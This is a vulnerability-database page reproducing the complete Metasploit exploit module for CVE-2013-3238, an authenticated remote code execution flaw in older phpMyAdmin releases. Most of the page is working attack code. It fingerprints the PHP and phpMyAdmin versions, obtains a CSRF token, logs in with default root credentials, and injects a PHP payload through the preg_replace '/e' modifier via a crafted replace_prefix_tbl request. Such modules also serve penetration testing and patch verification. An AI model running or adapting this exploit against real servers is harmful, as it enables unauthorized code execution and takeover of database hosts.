">
Lucene search
+L

phpMyAdmin Authenticated Remote Code Execution via preg_replace()

🗓️ 25 Apr 2013 00:00:00Reported by Janek "waraxe" Vind, Ben Campbell <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 92 Views

phpMyAdmin Authenticated Remote Code Execution via preg_replace(). Exploit PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl to execute remote code. Affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
        'Description' => %q{
          This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
          replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
          This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
          PHP versions > 5.4.6 are not vulnerable.
        },
        'Author' => [
          'Janek "waraxe" Vind', # Discovery
          'Ben Campbell' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        },
        'References' => [
          [ 'CVE', '2013-3238' ],
          [ 'EDB', '25003'],
          [ 'OSVDB', '92793'],
          [ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'BadChars' => "&\n=+%",
          # Clear out PMA's error handler so it doesn't lose its mind
          # and cause ENOMEM errors and segfaults in the destructor.
          'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
        },
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-04-25'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      vprint_error("Unable to connect to server.")
      return CheckCode::Unknown('Failed to connect to the target.')
    end

    return CheckCode::Unknown('No response received from the target') unless res

    if res.code != 200
      vprint_error("Unable to query /js/messages.php")
      return CheckCode::Unknown('Unable to query /js/messages.php to determine version.')
    end

    php_version = res['X-Powered-By']
    if php_version
      vprint_status("PHP Version: #{php_version}")
      if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
        if $1.to_i > 5
          return CheckCode::Safe("PHP version #{php_version} is not vulnerable. The preg_replace /e modifier was deprecated in PHP 5.5 and removed in PHP 7.0.")
        else
          if $1.to_i == 5 and $2.to_i > 4
            return CheckCode::Safe("PHP version #{php_version} is not vulnerable. The preg_replace /e modifier was deprecated in PHP 5.5 and removed in PHP 7.0.")
          else
            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
              return CheckCode::Safe("PHP version #{php_version} is not vulnerable. The preg_replace /e modifier was deprecated in PHP 5.5 and removed in PHP 7.0.")
            end
          end
        end
      end
    else
      vprint_status("Unknown PHP Version")
    end

    if res.body =~ /pmaversion = '(.*)';/
      print_status("phpMyAdmin version: #{$1}")
      case $1.downcase
      when '3.5.8.1', '4.0.0-rc3'
        return CheckCode::Safe("phpMyAdmin version #{$1} is patched.")
      when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
        return CheckCode::Appears("phpMyAdmin version #{$1} is vulnerable.")
      else
        if $1.starts_with? '3.5.'
          return CheckCode::Appears("phpMyAdmin version #{$1} appears vulnerable (3.5.x < 3.5.8.1).")
        end

        return CheckCode::Detected("phpMyAdmin detected but version #{$1} is not a known vulnerable version.")
      end
    end

    CheckCode::Unknown('Could not determine phpMyAdmin version.')
  end

  def exploit
    # Always display target info
    print_status(check[1])

    uri = target_uri.path
    print_status("Grabbing CSRF token...")
    response = send_request_cgi({ 'uri' => uri })
    if response.nil?
      fail_with(Failure::NotFound, "Failed to retrieve webpage.")
    end

    if (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Failure::NotFound, "Couldn't find token. Is URI set correctly?")
    else
      print_good("Retrieved token")
    end

    token = $1
    post = {
      'token' => token,
      'pma_username' => datastore['USERNAME'],
      'pma_password' => datastore['PASSWORD']
    }

    print_status("Authenticating...")

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => post
    })

    if login.nil?
      fail_with(Failure::NotFound, "Failed to retrieve webpage.")
    end

    if login.redirect?
      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
    else
      fail_with(Failure::NotFound, "Couldn't find token. Wrong PMA version?")
    end

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.body =~ /Welcome to/
      fail_with(Failure::NoAccess, "Authentication failed")
    else
      print_good("Authentication successful")
    end

    db = rand_text_alpha(3 + rand(3))
    send_request_cgi({
      'uri'	=> normalize_uri(uri, 'db_structure.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'query_type' => 'replace_prefix_tbl',
        'db' => db,
        'selected[0]' => db,
        'token' => token,
        'from_prefix' => "/e\0",
        'to_prefix' => payload.encoded,
        'mult_btn' => 'Yes'
      }
    }, 1)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation